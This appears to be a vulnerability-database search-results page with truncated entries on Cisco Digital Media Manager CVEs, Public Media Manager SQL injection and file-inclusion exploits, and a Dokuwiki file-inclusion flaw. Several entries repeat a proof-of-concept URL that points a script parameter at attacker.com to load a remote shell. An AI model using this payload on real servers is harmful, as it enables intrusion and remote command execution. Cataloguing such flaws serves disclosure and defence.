363 matches found
Default credentials
Cisco Digital Media Manager DMM 5.0.x and 5.1.x has a default password for the Tomcat administration account, which makes it easier for remote attackers to execute arbitrary code via a crafted web application, aka Bug ID CSCta03378...
CVE-2010-0570
Cisco Digital Media Manager DMM 5.0.x and 5.1.x has a default password for the Tomcat administration account, which makes it easier for remote attackers to execute arbitrary code via a crafted web application, aka Bug ID CSCta03378...
Design/Logic Flaw
Unspecified vulnerability in Cisco Digital Media Manager DMM 5.0.x and 5.1.x allows remote authenticated users to gain privileges via unknown vectors, and consequently execute arbitrary code via a crafted web application, aka Bug ID CSCtc46008...
CVE-2010-0571
CVE-2010-0571 affects Cisco Digital Media Manager (DMM) 5.0.x and 5.1.x. The issue is a privilege-escalation vulnerability that, when exploited via the web interface by remote authenticated users, can grant elevated privileges and lead to arbitrary code execution. The Cisco advisory notes the vul...
CVE-2010-0572
Cisco DMM (Digital Media Manager) vulnerable before 5.2: remote authenticated users can reveal Cisco Digital Media Player credentials via error log or stack trace leakage (Bug ID CSCtc46050). The issue affects DMM versions earlier than 5.2, enabling credential disclosure through error logging and...
CVE-2010-0570
Cisco Digital Media Manager DMM 5.0.x and 5.1.x has a default password for the Tomcat administration account, which makes it easier for remote attackers to execute arbitrary code via a crafted web application, aka Bug ID CSCta03378...
CVE-2010-0572
Cisco Digital Media Manager DMM before 5.2 allows remote authenticated users to discover Cisco Digital Media Player credentials via vectors related to reading a 1 error log or 2 stack trace, aka Bug ID CSCtc46050...
CVE-2010-0571
Unspecified vulnerability in Cisco Digital Media Manager DMM 5.0.x and 5.1.x allows remote authenticated users to gain privileges via unknown vectors, and consequently execute arbitrary code via a crafted web application, aka Bug ID CSCtc46008...
Cisco Digital Media Manager multiple security vulnerabilities
default credentials, privilege escalation, information leak...
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Digital Media Manager
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Multiple Vulnerabilities in Cisco Digital Media Manager Advisory ID: cisco-sa-20100303-dmm http://www.cisco.com/warp/public/707/cisco-sa-20100303-dmm.shtml Revision 1.0 For Public Release 2010 March 03 1600 UTC GMT...
Cisco Releases Multiple Security Advisories
Cisco has released three security advisories to address vulnerabilities. Security advisory cisco-sa-20100303-cucm, addresses multiple vulnerabilities in the Cisco Unified Communications Manager which affect the Session Initiation Protocol SIP, Skinny Client Control Protocol SCCP, and the Computer...
Multiple Vulnerabilities in Cisco Digital Media Manager
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES TH...
Public Media Manager SQLi vulns
Exploit for unknown platform in category web applications =============================== Public Media Manager SQLi vulns ================================ Product name: Public Media Manager This product, an online NEWS CMS, suffers from SQL injection in login so that we can bypass the login syste...
Public Media Manager Bypass / SQL Injection
Public Media Manager SQLi vulns By learn3r hacker from Nepal [email protected] Product name: Public Media Manager This product, an online NEWS CMS, suffers from SQL injection in login so that we can bypass the login system. Also, it suffers from SQLi in the GET variables which can be...
Public Media Manager - Remote File Inclusion
Public Media Manager - Remote File Inclusion Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager PoC : http://server/path/comcal/calmenu.php?formsdir=http://attacker.com/shell.txt?cmd 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...
Public Media Manager - Remote File Inclusion
Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager PoC : http://server/path/comcal/calmenu.php?formsdir=http://attacker.com/shell.txt?cmd 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...
Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ========================================================================= Public Media Manager PoC : http://server/path/comcal/calmenu.php?formsdir=http://attacker.com/shell.txt?cmd 0day.today 2018-04-05...
Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability
No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager = 1.3 formsdir Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/pmm-cms/files/ Dork : die"Lamers attempt"; :D Vuln : ./pmm-cms-1.3/comcal/calmenu.php line 4...
Dokuwiki 2009-02-14 Local File Inclusion Vulnerability
Exploit for unknown platform in category web applications ====================================================== Dokuwiki 2009-02-14 Local File Inclusion Vulnerability ====================================================== Author girex CMS Dokuwiki Homepage dokuwiki.org Affected versions 2009-02-...
dokuwiki -- Local File Inclusion with register_globals on
DokuWiki reports: A security hole was discovered which allows an attacker to include arbitrary files located on the attacked DokuWiki installation. The included file is executed in the PHP context. This can be escalated by introducing malicious code through uploading file via the media manager or...